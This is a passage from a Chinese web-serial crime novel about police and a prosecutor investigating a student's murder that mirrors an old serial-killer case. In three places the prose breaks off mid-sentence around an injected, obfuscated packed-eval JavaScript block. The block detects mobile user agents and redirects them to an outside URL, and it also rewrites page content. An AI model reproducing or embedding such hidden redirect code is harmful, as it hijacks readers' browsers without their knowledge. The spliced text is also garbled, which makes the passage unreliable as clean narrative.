八位被害人,家庭背景各异,有的来自于殷实的中产家庭——如第一位被害人卢川,父亲是私立医院的主任医师,母亲是国企的中层干部;有的家庭贫困——如第二位被害人邱飞剑、第三位被害人李令杰。但尽管如此,由于他们成绩优异,也堪称学校中的天之骄子,前途无量。将这样的天之骄子变成一堆冰冷的尸块,用垃圾袋包裹着丢进废品站……戚玉衡从凶手的举动中嗅到了一种侮辱性的意味。 凶手集中于05-08年作案,但他的作案间隔呈现出不断缩短的趋势:第一案与第二案之间相隔半年,第二案、第三案、第四案、第五案、第六案之间相隔近五个月,但第六案、第七案、第八案之间相隔仅大约三个月。在警方侦查力度最大、民众防范心最强的07-08年间,他作案最多,一年就作案四起。 他聪明、胆大,甚至有些狂妄自负。生活中大概率是个眼高于顶的人,只有那些“优秀”的“精英”才能入他的眼。 按照这个思路,李长乐根本不可能会成为凶手的目标。成绩平平的他,是无数高中生中普通的一员,他一点也不显眼——甚至称得上没什么存在感,几乎算是校园中的弱势群体。话说得难听一点,李长乐这样的人,还不够格成为3.18案凶手的目标。 难道在凶手销声匿迹的十几年间,有什么事彻底改变了他吗?没有改变他残忍嗜血的性格,只单单改变了他在杀人时的……偏好吗? 戚玉衡觉得不太可能。 如果是另外一个人模仿3.18案的手法杀害了李长乐……为什么?这是一次无差别的杀人案吗?李长乐只是因为运气太糟,成了不幸被选中的人? 不,不太可能。 长乐大概率是去见方滢的,而方滢一家现在音讯全无——可方滢一家不可能是凶手,他们没有杀害长乐的动机。这样看,凶手大概率是盗用了方滢的社交账号将长乐骗出去的,方滢一家说不定也遭到了他的毒手。那他显然早有预谋、计划周密,他知道长乐和方滢之间的亲密关系,对李长乐进行过详细的调查。如果是无差别杀人,凶手应该能找到比李长乐更易下手的目标吧?没必要如此大费周章。 凶手是有意针对李长乐的?犯罪动机是什么?仇杀?不太可能。李长乐的社交圈子里应该不会有如此丧心病狂的人。李长乐契合了他的目标偏好?他会再次作案吗? 还是真的如沈灵均想的那样,凶手是和他有仇的人吗?但这又无法解释凶手采用的手…… 戚玉衡越想心里越乱。犹豫了一会后,戚玉衡拿出手机,给沈灵均发消息道: 【戚玉衡:沈检,长乐的事有什么进展吗?】 沈灵均很快回给他几段语音: “有一些。警察们查到,长乐离开家之后上了一辆网约车,他们已经联系到了网约车司机,确认长乐是在龙瑞县晋安镇的镇医院下了车。晋安镇就是方滢家所在的镇。长乐的身影最后出现在镇医院门口的监控里,之后他就不知所踪了。” “长乐的手机也找到了,就在镇医院附近的一个垃圾桶里,被砸得稀巴烂,已经不可能恢复所有的数据了。但是警方调出了他的通话记录和微信聊天记录,他接到的最后一个电话,是方滢打来的。的确是方滢约他出去的。方滢在微信上说,她父亲突发心脏病,紧急送往了医院,她母亲眼睛不好,没有跟她一起去医院,她一个人很害怕,让长乐去陪她。” “但是现在方滢一家三口都不见踪影,警方还没有查到他们一家的下落。目前我得到的消息就是这些,之后我这边如果有什么新消息,我第一时间告诉你。” 不知道是不是手机传递出的声音或多或少会有些失真,戚玉衡觉得,比起昨天,沈灵均的声音变得沙哑了许多。 戚玉衡的手悬在键盘上好一会,最后道: 【戚玉衡:好的。沈检,你要保重身体。】 这天晚上,戚玉衡又近乎一夜没睡。他在床上辗转反侧了好一会,好不容易睡着了,没睡多久,他就做了个噩梦。这个梦谈不上有什么剧情,梦中他目之所及的地方全是血,他在一片血海中走了很久,最终看到了李长乐惨不忍睹的尸体。 戚玉衡一下子就被吓醒了。一摸身上的睡衣,已经全都被汗湿透了。 戚玉衡坐在床上,再一次想:他都如此寝食难安,沈灵均现在,内心又是何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028306|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等煎熬? 熬到天亮,戚玉衡便收拾了一番,去星星烘焙上班了。他的心情其实还很低落,少见地十分抗拒上班这件事,但不上班,戚玉衡又想不到自己还能做些什么。 员工们都到齐之后,戚玉衡听到于双对许嘉璐道:“你看新闻了吗?说3.18案的凶手,又出来杀人了!” 他们星星烘焙的老板、员工加在一块,只有戚玉衡和于双两个本地人,许嘉璐听到于双的话,目露茫然:“什么3.18案?” 胡亦豪这时道:“我知道我知道,3.18连环杀人案嘛,国内最有名的悬案之一。但那个凶手已经十几年没做过案了,但前天,他又杀了个高中生!又又,你也知道这个案子啊?” 于双没理他,继续和许嘉璐说话:“……他说得对,这是我们容州很有名的一个凶杀案。当时闹得满城风雨的。” “我有一个表哥,他十五年前正在读高三,因为这个案子,我们全家都特别紧张他的安全,给我留下了很深刻的印象。明明他小学毕业之后我舅舅舅妈都没再接送过他了,但是那段时间,人心惶惶,我舅舅每天都接送他。嗐……但他自己一点都不害怕,因为那个凶手只杀好学生,他成绩很一般,所以他当时只觉得我舅舅舅妈多事呢。” 牛明星在一旁道:“死的那个学生,是我老公他们学校的学生,昨天,有好多警察到他们学校去问话呢,据说还带走了几个老师和学生,”说到这,牛明星看向戚玉衡:“对了玉衡,沈检家那个孩子,是不是就是四十七中的?他应该也知道这件事。” 戚玉衡昨天只跟牛明星说了他不会到店的事,没有详细说原因,所以牛明星还不清楚李长乐的事。他垂着头,拆开一袋可可粉倒进厨师机:“长乐,他……他就是那个学生。” 牛明星一时没有反应过来:“什么那个学生?” “他就是,被杀了的那个学生。” 烘焙间一时间静寂无声。过了两秒后,于双道:“不、不应该啊,戚哥,你不是和我们说过,那孩子学习成绩一般吗?也就是能过个本科线的样子,这和我表哥差不多水平啊!这怎么……3.18案的那个凶手,现在网上都叫他学霸杀手,他是专挑学霸下手的人啊!” 戚玉衡摇摇头:“……我不知道。或许,这两个案子并不是同一个凶手做的。” 于双有点结巴:“那、难道是那种,模仿犯罪吗?” “我不清楚,警方那边还没有定论。” 胡亦豪道:“诶——说不定这又是一个连环杀手嘞,模仿前辈想一战成名什么的。” 胡亦豪话语中带着一种让戚玉衡非常不舒服的轻佻,于是他直白地道:“我不想再讨论这个话题了。” 胡亦豪有些不满,但在牛明星的瞪视下,他什么都没说。 这一上午,戚玉衡在工作中犯的错比他前半辈子在工作中犯的错都多。他先是在和可可面团的时候多加了整整一袋可可粉,为了不浪费掉材料,只得又多加了一倍的面粉,和出了一个巨无霸可可司康面团;之后又在做蓝莓奶酪馅的时候少加了一袋奶酪,还好许嘉璐发现得及时,补救成功;在包贝果的时候,他又包错了馅料,把开心果的馅料包进了生椰拿铁面团里。 磕磕绊绊地干到了中午,戚玉衡打开手机,发现沈灵均给他发了条语音,但应该是烘焙间的设备声音太大、他耳朵又不灵光,他没听见手机的提示音。 他连忙点开: “玉衡,今天我又打电话向瞿队问消息,瞿队跟我说,法医在长乐的身体上也提取到了次氯酸钠和过氧化氢。这个情况,和3.18案的后四位被害人一样。这也是警方从未对任何媒体和机构披露的案件细节。” 57.第 57 章 乔瑜是被薛青霜推醒的。 “起来了,开会了。” 乔瑜下意识地直起身,随后就感觉颈椎一阵酸痛,他倒吸一口冷气,骂道:“……草。” 薛青霜问:“你怎么没回宿舍睡?” “我自己都不知道我什么时候睡着的,本来只打算坐一会……你那边有什么线索吗?” 薛青霜摊开手:“没有。你那边呢?也是一样?” 乔瑜点了点头。 薛青霜道:“我估计其他人那边也没查到什么线索,要是有什么大的进展,咱们肯定也知道了。” 两个人刚迈出办公室,前方不远处一间接待室的门突然开了,数个头发花白的老人从屋内走了出来,其中有好几个人正在不断啜泣着。 薛青霜小声道:“3.18案被害人的家属。自从媒体把这个案子报道出去之后,他们就天天来局里,程局每次都亲自接待……从案发到现在,不到三天,程局以肉眼可见的速度变成了一个苦瓜脸。唉,昨天我和他一起接待的这些家属,之后一整天都没缓过来劲。” 薛青霜指了指人群中年纪最大的一位老人:“第五位被害人蒋济同的爷爷。蒋济同遇害之后,他父母的感情就破裂了——在他出事之前,凶手已经连犯四案,已经在容州引起了很大的舆情,蒋济同的母亲就提议让蒋父接送蒋济同上下学。但是蒋济同觉得没必要,在他的坚持下,蒋父也站在了儿子那边。没想到……因为这个,蒋母一直埋怨蒋父,蒋济同出事后半年,蒋父跳兰江自杀了。两年前,蒋母也郁郁而终。一大家子人,现在只剩下蒋济同八十七岁的爷爷还活着。” 薛青霜又指向一个身材微胖的女人:“第二位被害人邱飞剑的妈妈,她命苦,孩子刚满月的时候,丈夫就突发心梗,年纪轻轻就守了寡。她之后没再嫁,一个人磕磕绊绊地把儿子带大,好不容易要守得云开见月明了,孩子没了。” “还有那个,戴个无框眼镜,站得笔直、看上去很斯文儒雅的那个,第一位被害人,卢川的父亲。卢川死后不到一个月,他母亲就疯了,现在还住在精神病院……” “穿红色大衣的那个女的和她身边那个男的,是第七位被害人高恒的父母。他们两个在高恒被害后的第二年举家搬迁到了崇宁的禹州,又生了个二胎,应该是打定主意想要遗忘过去、开始新的生活了。但这次这个案子一出……夫妻俩又回来了。心里还是放不下。” 将这些被害人家属送出办案区,程时新转过头,脸上带着深深的疲惫。看见门边的乔瑜和薛青霜二人,他似乎是累得一句话都不愿意多说,指了指会议室的方向,示意二人去开会。 来到会议室坐下后,程时新道:“各个探组,说一下进展吧。” 物证中心的法医秦奕然率先道:“我们这边有一点小发现。” 秦奕然示意大家去看幕布上的幻灯片:“3.18案的八位被害人,手腕、脚腕都有很明显的伤痕。我们推测,被害人在手脚被捆缚的情况下进行了激烈挣扎,导致手腕脚腕出现了摩擦伤。这是3.18案档案记录的尸检照片,可以看得出,虽说轻重程度有所不同,但每位被害人手脚上都有不同程度的伤痕。” “这是李长乐手脚上的痕迹。有轻微的淤痕,这是手腕、脚腕长时间被捆缚,血流不畅导致的。但是没有摩擦伤。这一点很奇怪。他手脚上有这种压迫性淤伤,证明他生前已经被捆缚了不短的一段时间,但却没产生摩擦伤……难道他从来没有挣扎过吗?任何一个人,在落入到那种处境的时候,应该都会尝试性地挣扎一二吧?那至少会有轻微的划伤才对。但是李长乐手脚上干干净净的,连皮都没破。” 程时新面色凝重:“这是个疑点,也是与3.18案不同的地方。” 瞿春光道:“霸凌李长乐那三个学生,我审过了,就是普通小混混,也就欺负欺负同学那点本事,其中有两个,我还没说什么了呢,人就已经吓哭了。而且三个人在案发时都有充分不在场证明,李长乐失踪的时候,他们一个在网吧打游戏,一个在上辅导班,还有一个在和女同学在酒吧蹦迪。我都已经确认过了,没问题。他们没有嫌疑。” “保险起见,我也调查了因为李长乐被霸凌而受到处分的老师,案发当时她在医院陪护摔骨折的母亲,也有不在场证明。而且她是个五十多岁的女老师,没有作案的能力。” 邓宇星说:“我和青霜仔细调查了方滢一家。方滢的父母都是残疾人,母亲由于黄斑病变,双目几乎失明,没有劳动能力,父亲先天聋,又因为没有做过语言康复训练,哑了,是聋哑人。同村的村民都说,这两夫妻很老实本分。方滢的父亲方虎最后一次出现在众人的视线里,是12月1日早上,他去村里的小卖部买酱油。之后村里人就没再见过这夫妻俩了。” “12月3日晚上,方滢家的邻居也没听到什么奇怪的声音——不过,方滢的邻居睡得都很早,九点多就睡了。村里人也都说,近期没在村里看到什么可疑的人和车辆。” 薛青霜补充道:“方滢,今年十八岁,和李长乐是同班同学,他们俩之间有些情愫,在学校里便经常凑在一起。在这个学期前,方滢一直住校,但这个学期,她跟老师说她在校外租房专心备考,退了寝,但她根本没有租房子。她每天晚上下了晚自习之后就会去一家名叫Oath的酒吧里做伴舞,工作结束后她就住在酒吧附近的廉价旅馆里。” “12月3号当天早上,她就乘大巴车回家了。大巴车司机对她有印象,也有村民看见她了。她应该是和父母一块失踪的。” “这姑娘在酒吧做伴舞——听着好像是个挺大胆的一个姑娘,但据酒吧老板和同事说,这娃性格相当内向,能说一句话的事绝不说两句话。她跳完舞就走,一分钟都不在Oath多留。老板和同事都说,没见她和酒吧里的谁交往过密……他们甚至没见过她和客人说过话。方滢在校也没什么要好的朋友,总体来说,社会关系相当简单,我们目前没在她的社交网络里发现任何可疑的人。” 乔瑜道:“沈检发了我一份他自己整理的、可能对他心怀仇恨的人的名单,但是这份名单里的人实在是太多了,其中有不少人并不是很配合我们的工作,这些人的嫌疑,目前还没有排查完毕。” “……” “……” 一轮汇报结束之后,程时新总结道:“我们目前的状况就是,手里没什么有价值、有突破性的线索。关于案件接下来的侦查方向,大家有什么想法,说说吧。” 章铁立刻道:“程局,我觉得,我们有必要再把3.18案过一遍,看看能不能查出有价值的线索。因为从尸检结果来看,凶手使用的分尸手法、利用化学物质消除DNA反应的习惯,都和3.18案的凶手一致。而这种细节,是媒体、大众所不知道的。我觉得,李长乐这个案子就是3.18案的凶手做的,不是什么模仿犯。” 西城区公安分局局长尚豪立刻反对道:“我觉得没必要。对于3.18案的侦查,当年的专案组已经做了非常非常多的工作了,我们很难在这个基础上再查出什么名堂。光说3.18案做过的笔录,那就能堆满十五六个纸箱子,全翻一遍需要好几天。时间就是金钱,我们现在的首要目标是破李长乐的案子,应该把精力全放在这个案子上……我的看法和章局正相反。我觉得这个案子绝对不是3.18案的凶手做的。” “那个王八犊子只杀成绩好的学生,这是人尽皆知的事。他只能把那种学生放进眼里来!李长乐不是他会选中的目标。你说案件细节没对外披露过,”尚豪撇了撇嘴:“我说句大实话。当年,几乎全市的警察、辅警,都参与了这个案子,而咱们为了破这个案子,也是什么路子都用上了,为了调查八个被害人的社会关系,当时全市一般的高中生都做过笔录,我们还大海捞针一样地调查全市的医生、屠夫……知道这个案子细节的人,比我们想象得多得多。” “是,报纸上、网上是没有报道过案子的这些细节。但容州知道这些细节的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045722|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝对不在少数,参与这个案子的这么多警察,真就没人和家里人提起过?真就没有人喝酒喝大了,在外面大嘴巴?当时我们分局就有两个辅警因为泄露线索挨了处分,只不过事情没闹大,所以不为人知罢了。一传十十传百……真的不止有凶手知道案件细节。” 会议室里一时没人说话。 良久,程时新沉声道:“其实大家的分歧,主要还是在3.18案和李长乐这个案子的凶手是不是同一人这个事上,”程时新活动着颈椎:“我觉得,我们现在就不要考虑这个问题了。这会限制我们的侦查思路。尚局有一句话说得很对,现在摆在我们面前的首要问题,是破李长乐的案子。我们先把李长乐的案子当成一个普通的杀人案去思考。” “我们现在可以从下面几个方向去着手:第一,方滢一家去哪了?以目前的信息来看,方滢一家不可能是杀害李长乐的凶手或是凶手的同伙。但李长乐又确实是被方滢约出去的。方滢一家是被凶手绑架了吗?而想要把一家三口都劫走,凶手肯定有辆车。以方滢家所在的瑞原村为中心,按顺序查监控,监控里出现的每辆车,都要查!都要落实!” “第二,凶手知道李长乐和方滢之间的特殊关系,说明他非常了解李长乐。他很可能已经潜伏在李长乐身边很久了,他大概率跟踪过李长乐。去查,去问李长乐的同学,近期有没有可疑人士朝他们打听过李长乐,也要进一步排查方滢的社会关系,了解都有谁清楚她和李长乐之间的关系。看监控,倒查一个月内李长乐上下学路上的所有监控,找出里面所有的可疑人士。” “第三,继续排查沈检的社会关系。李长乐的生活圈子太小,不太可能得罪凶手这种心狠手辣、穷凶极恶的人,从沈检身上入手,很有必要。” 分配好任务后,程时新又道:“我知道这个案子也给大家带来了很多压力,但是也要分配好时间,劳逸结合,”程时新指了指乔瑜在内的几个人:“你们几个,从案发之后就一直连轴转到现在,脸色特别不好,黑眼圈巨大,脸色跟吸了两年毒一样,今天都回去好好休息,明早再来局里。” 就算程时新不说,乔瑜今天也打算回家住。连熬两个大夜,他身体确实有些撑不住了,想回家睡个舒服的整觉。 散会后,乔瑜看了看时间,想到自己又有快一周没和余绵绵见面,便给余绵绵发了条信息,约她中午一起吃饭。 见到余绵绵后,余绵绵就问他道:“我看网上说,十几年前活跃的那个学霸杀手,又出来作案了,这是真的吗?” “我们这边还没定论呢,”乔瑜顿了顿,问:“沈检这两天怎么样?他正常上班了吗?” 余绵绵有些不明所以:“沈哥?沈哥正常上班呢呀,他挺好的啊,一如既往地无懈可击……你怎么突然问起沈哥?” 乔瑜很意外:“你们……不知道吗?” 余绵绵更困惑了:“……你说什么呢?沈哥怎么了?” 乔瑜犹豫了一会,将事情的原委告诉了余绵绵。 余绵绵十分震惊:“不……怎么可能呢?没搞错吧……沈哥他……沈哥他这两天照常上班呢呀,我没感觉他有什么不对劲。今天上午我们还去看守所提讯了呢,沈哥还和以前一样,情绪稳定,冷静、专业,昨天他还开了个庭呢。我的天……我们完全不知道,他家里出了这样的事。” 乔瑜回想起案发那天,沈灵均看到李长乐尸体的反应。说实话,那一刻,乔瑜觉得沈灵均这个人有些可怕:他第一次遇见碎尸案时,已经正式从警快两年。自认心理素质颇为不错的他在看了尸体之后吐了个昏天黑地,连着三天没怎么吃下饭,连着两周都没吃下肉。 但沈灵均当时是那么镇定,镇定到让他这个人看起来有些冷酷无情。案发后第二天,没等他们警方要,他就自己整理了一份仇家名单,发给了他们。 乔瑜不由得有些感慨:有这份心志,人家干什么能不成功啊。 乔瑜衷心道:“沈检……真不是一般人。” 58.第 58 章 和余绵绵吃完午饭,乔瑜便回家睡觉了。 一觉睡醒已经是晚上九点多,乔瑜去超市买了不少蔬菜水果,去了爷爷奶奶家。 将买来的东西交到徐莲手里,乔瑜叮嘱道:“最近我们局有一个重案要办,这一两周可能不太能有时间来看你们。但你们俩要是身体有什么不舒服的,立刻给我打电话。” 徐莲点点头:“我知道的。你不用惦记我们,你工作要紧的。” 乔国正则道:“那就是说,你这段时间又会很忙啦?诶呀,那你什么时候才有时间结婚啊?” 徐莲瞪了他一眼,示意让他少说些话,但乔国正哼了一声,道:“你瞪我干嘛呀?你大孙子今年都多大了?三十了!我在他这个年纪的时候,怀兴都能拿瓶子打酱油了!怀兴在他这个年纪的时候,他都已经两岁了。老话说三十而立三十而立,小瑜,你得抓紧时间结婚啊!” 乔国正越说越激动:“小瑜啊,你也别怪我催你,我都八十五了,身体是一天不如一天了。我还能活几年?我唯一牵挂的就是你。我闭眼之前能看到你结婚、生子,我下去也对你爸妈有个交代。” 乔瑜无声地吸了一口气:“婚又不是说结就能结的……我总得抽个时间去见一下绵绵的父母。人家上一次来容州,我没见他们,已经是失礼,更得向他们展示出我的诚意。我也得考虑绵绵家那边的风俗,把婚前的流程都过一遍。” “更何况,就算结了婚,我们也没打算立刻要孩子。绵绵说,她想在入额之后再考虑生小孩的事,所以我们至少三年后才会准备要孩子。您要是想抱孙子,您急也没用,催我更没用,好好养好身体,活久一点才是正事。” 乔国正瞪大眼睛:“怎么还等三年之后再要小孩呢?这孩子啊,还是越早要越好!” 乔瑜心下叹了口气,看向他:“爷爷,我工作忙,绵绵的工作也不轻松。我们要是明年生小孩,谁能帮我们带?绵绵父母家又不在这,难道让人家抛家舍业的来给我们带孩子吗?还是你们来帮我带?你们都这个岁数了,你们什么都不干我都怕你们身体出问题。请保姆带?现在的保姆都很贵,我和绵绵还要攒钱买房子,哪里有闲钱往这上面花?” 乔国正一时间哑口无言。他喘了几口气,拍着大腿,红着眼道:“要是你父母还在就好了。要是你父母还在就好了呀!要是怀兴和小薇还在,你哪用操心这些?” 这样的场面,已经不知道在这个房间里上演了多少次。乔瑜一时间只觉得胸口窒闷,有些喘不上气。 徐莲在这时道:“小瑜,你不用担心房子的事。我和你爷爷这些年攒了不少钱,小戚那边也打了九十多万过来,你房子的首付肯定是够了。” 这些年来,戚玉衡的“还款”一直都是直接打到徐莲卡上,乔瑜从来没有过问过钱的事。乔瑜有些意外:“……九十多万?他这些年还了这么多钱吗?” 徐莲点点头,拉住他的手:“嗯。所以小瑜,你不用担心钱的事。你房子的首付,给绵绵家的彩礼,咱们家都是有的。你说得对,上次绵绵的父母来容州,你没有见他们,先失了礼数,是该正式、郑重地去人家家里拜访一次。你不要听你爷爷乱讲,要孩子是你们自己的事,你们想什么时候要就什么时候要。” 看乔国正还要张口,徐莲适时地截住他的话:“行啦。人家小两口自己的事,你管那么多做什么?难道你能给小瑜生孩子啊?” 乔国正哼了一声,回屋躺着去了。 乔瑜心情也不大好,又坐了一会便走了。 回到车里,乔瑜忽然觉得很累。他在方向盘上趴了几分钟,随后启动车子,漫无目的地向前开去。开了一会,乔瑜发现他行进的方向是去往龙庆县的方向。乔瑜于是没再变向:他正好想去李长乐失踪的现场看看。 一路开到晋安镇镇医院,乔瑜停好车,观察起周边的环境来。晋安镇镇医院并不在镇上的繁华地带,周边颇为荒凉,整条街上,除了镇医院门口有个摄像头,就是路口才有摄像头。 镇医院对面一家24小时营业超市的门口也装了个摄像头,而邓宇星和薛紫琼绝不会犯漏看这种低级错误,一定已经来这个超市看过监控了。尽管心里这么想,但乔瑜还是迈步往店里走去——不怕一万,就怕万一呢? 乔瑜刚推开门,就跟戚玉衡撞了个正着。 乔瑜没想到会在这遇见他,绷着脸道:“你怎么在这?” 戚玉衡把手里的纸举给他看——那是一张彩印的李长乐的照片:“我来问问,看看有没有人见过长乐。” 乔瑜掏出警察证,看向超市老板:“你见过他吗?” “没有呀,警官,你们昨天已经来人问过我了,还看了我店里的监控。我没见过这孩子,他也没来过我店里……这小哥刚问过呢。” “……哦。” 是啊,看戚玉衡这要离开超市的样子,他肯定刚问过同样的问题。好蠢啊。 两个人一前一后离开了超市,乔瑜忍不住道:“我们已经交代过镇上的警察四处寻找目击者了。还用得着你大晚上在这晃荡?” 话一说出口,乔瑜就后悔了。 腿长在戚玉衡身上,人家愿意去哪都是人家的自由,他多嘴个什么劲?而且,看戚玉衡那天在局里的表现,他和李长乐之间的感情很深。他这么说被害人家属,实在是嘴贱。 乔瑜想道歉,但对不起这三个字就像卡在他喉咙里的鱼刺一样,怎么都没法自己吐出来。 但戚玉衡没跟他计较。他垂着头盯着手里的照片:“我知道。我就是想……长乐大约是在这个时候失踪的,在这个时间段在这蹲守,说不定能遇到一些常在这个时间、在这附近活动的人,说不定就有人在那天晚上见过长乐。碰碰运气罢了。” 戚玉衡的手指从李长乐的脸上划过:“如果没出事的话,我现在应该刚给他上完课,正在回家的路上。” 乔瑜抿了抿唇,伸手将戚玉衡手中的彩印照片抽走了。他道:“你等一下。” 乔瑜转身回了超市——这家超市的门上贴了一张纸,上面写了“复印打印”。乔瑜在超市彩印了一张照片拿在手里,和戚玉衡道:“……我和你一起在这问。” 小镇的深夜,是很寂静的。除了来看急诊的病人,镇医院附近根本没什么人流。但病人肯定不会夜夜都来看急诊,乔瑜和戚玉衡蹲守了两个多小时,问了二十几个人,没找到任何线索。 乔瑜看了一眼时间:“快三点了。再在这守着应该也不会有什么结果,回去吧。” 戚玉衡点点头:“是。今天谢谢你。” “没什么好谢的。我是警察,这是我的工作,我可不是为了帮你。” 乔瑜插在兜里的左手下意识地攥紧了手机,他道:“你怎么回去?” “我?我……打车回去。” “你脑子没问题吧?几点了?这个点打车回市区,司机不要你三百都算他圣母。” 戚玉衡闻言,面露犹豫:“那我……我去公交车站点等等吧。我坐最早一班公交回去。” “最早一班公交也得五六点吧,现在才不到三点,你想大晚上在公交车站枯坐两个小时?” “没事,就两个……” 乔瑜心里烦躁得很:“我开车来的。你上我车,反正我也要回市里,顺路捎你回去。” 戚玉衡愣了一下,立刻拒绝道:“不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15050245|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我还是坐公交车好了,不麻烦你。” “麻烦什么?我的车又不是就一个位置,让你坐你就坐好了。” “……好。那……谢谢你啊,乔警官。” 乔瑜带着他来到自己停车的地方,先上了车。但他安全带都系好了,戚玉衡还站在车外没上车。乔瑜心里纳闷,把副驾驶位的车窗降了下来:“你干什么呢?上车啊?怎么,你拉不动门把手啊?得我下车请你?” 戚玉衡脸上有些尴尬:“不,不是,我就是想问……我坐哪里比较好?” 哈?这也要问他? 乔瑜冷笑一声:“你想坐哪就坐哪。” 看戚玉衡把手伸向后座的车门把手,乔瑜又忍不住道:“行啊,把我当司机呗。领导做派。” 戚玉衡的手立刻换了个方向,拉开了副驾驶位的车门,坐了进来。系好安全带后,戚玉衡侧头看了他一眼,乔瑜莫名觉得他的眼神中饱含着无奈——不是你说我想坐哪就坐哪的吗? 乔瑜自己也觉得自己神经病。阴晴不定的神经病。 戚玉衡为自己刚才的行动解释道:“我没别的意思。更没把你当司机,我就是担心……你不愿意和我挨在一起。” 乔瑜哼了一声,没再说话,默默发动了车子。 二人之间一时无话。 十几年过去,乔瑜已经不再是那个习惯做话题中心、喜欢热闹的十八岁少年了。现在的他喜欢独处、朋友很少、空闲时间除了谈恋爱就是宅在家里,为了逃避社交,在各种不得不去的聚会上一定会坐在角落里。 他已经习惯了在与人相处的时候做沉默的那个人。但此时此刻,在这个狭小的空间里,他面对着沉默的戚玉衡,忽然觉得这个气氛尴尬、诡异的让他无法承受。 是太久太久没有和戚玉衡长时间独处过了吗? 应该是。他们上一次长时间独处是什么时候?得追溯到十二年前了吧。应该是……哦对,他请他来家里吃饭,他们两个人待在他的房间里,对着学校发下来的报志愿用书谈起各自的志愿和未来。 他那时一门心思想考容州体育大学,准备在大学毕业之后找个中小学做体育老师,安逸庸碌地过下半辈子。戚玉衡的目标则没有他那么明确,他最想报考庆大的计算机专业——因为听说计算机专业毕业后工资高,又觉得国防大学也不错——入学就有津贴,这样他不用做太多兼职就能养活自己。 那时他们都没想到,他们会各自踏上一条从未预想过的道路。 对了,戚玉衡现在在做什么呢?光是还给他们家的钱,他就已经还了九十多万了。这些钱总不可能全是他做家教赚的吧? 犹豫了一会,乔瑜开口道:“家教现在是你的主业吗?” “不是。我和朋友合伙开了家面包店,主业是这个。” “哦。” 对话到此结束了。 烦。以前和戚玉衡相处的时候也是这样吗?不是吧。虽然戚玉衡并不是和他一样外向的人,但是高中的时候他们只要凑在一块,就有说不完的话。 乔瑜抬起眼睛,看向挡风玻璃倒映出的倒影。戚玉衡这会正偏头看着窗外,乔瑜能看到他左耳上的助听器。 啊,这个助听器。 乔瑜用手指摩挲着方向盘,良久,他道:“你的耳朵,怎么回事?我记得你原来是右耳听不见,左耳是好的。怎么现在连左耳都不好使了?” “啊,这个……是突聋。就是原因不明的感音神经聋,医生也没查出来原因,也找不到办法治,所以就只能戴助听器了。” “哦。” 之后,直到戚玉衡下车,乔瑜都没再说过话。戚玉衡也没有。 59.第 59 章 周六晚上,戚玉衡快要下班的时候,陈彦博和沈灵均一块来了Resonate。 陈彦博笑着和戚玉衡招了招手,找了个空座坐了下来。看着他脸上灿烂的笑容,戚玉衡就知道,沈灵均还没有把李长乐的事告诉他。 心不在焉地把最后两首歌唱完,戚玉衡跳下唱台,走到二人身边。离得近了,便能很明显地看出来,沈灵均肉眼可见地憔悴了许多,他这几天应该都睡得不好,眼下挂着两团很明显的青黑,似乎还消瘦了些。 陈彦博招呼他道:“小戚,你有没有喝过你们店里的特调?我真的觉得你们这里的特调很好喝,”陈彦博戳了戳沈灵均的肩膀:“他这个人一向很少喝酒的,但今天都喝了好几杯了。” 沈灵均转过头,朝戚玉衡浅浅地笑了一下。 “对了,”陈彦博喝了口酒,问沈灵均道:“你听说了吗?你肯定听说了吧……当年那个优等生杀手,又出来作案了。” “我记得这个杀手最活跃的时候,咱们正好高三,我爸妈你爸妈都特别紧张,车接车送的,但咱们毕业了之后,他不就一直没再作案了吗?我一直觉得他可能是遭遇了什么意外,比如说出车祸啊、得重病,所以才销声匿迹了……没想到这么多年了,他居然还活着,还又出来杀人了。” 说着,陈彦博看向戚玉衡:“小戚,你听说过这件事没有?不过你当时应该还在上初中,这事应该没怎么影响到你们。但当时的高中生,尤其是高三生,那叫一个人心浮动。好些优等生都担惊受怕的,成绩出现下滑的不在少数呢。” 戚玉衡唇角动了动,下意识地去看沈灵均。 陈彦博察觉出他脸色有些不对劲,目光在二人之间游移着:“……怎么了小戚?怎么感觉你今天情绪不太高啊。” 沈灵均把杯里的酒喝空,道:“我知道这件事。凶手杀的人是长乐。” 陈彦博张着嘴,没有立刻说话。他飞速地眨了眨眼睛:“什,”陈彦博又看了一眼戚玉衡,“……就……怎么会呢?那个混蛋不是一向只杀优等生的吗?长乐的成绩……也……也就那样啊。” 沈灵均又要了一杯酒,答道:“嗯,所以这也不一定是那个连环杀手再次作案。网上那些连环杀手复活的话题、噱头,都是媒体搞出来的。” 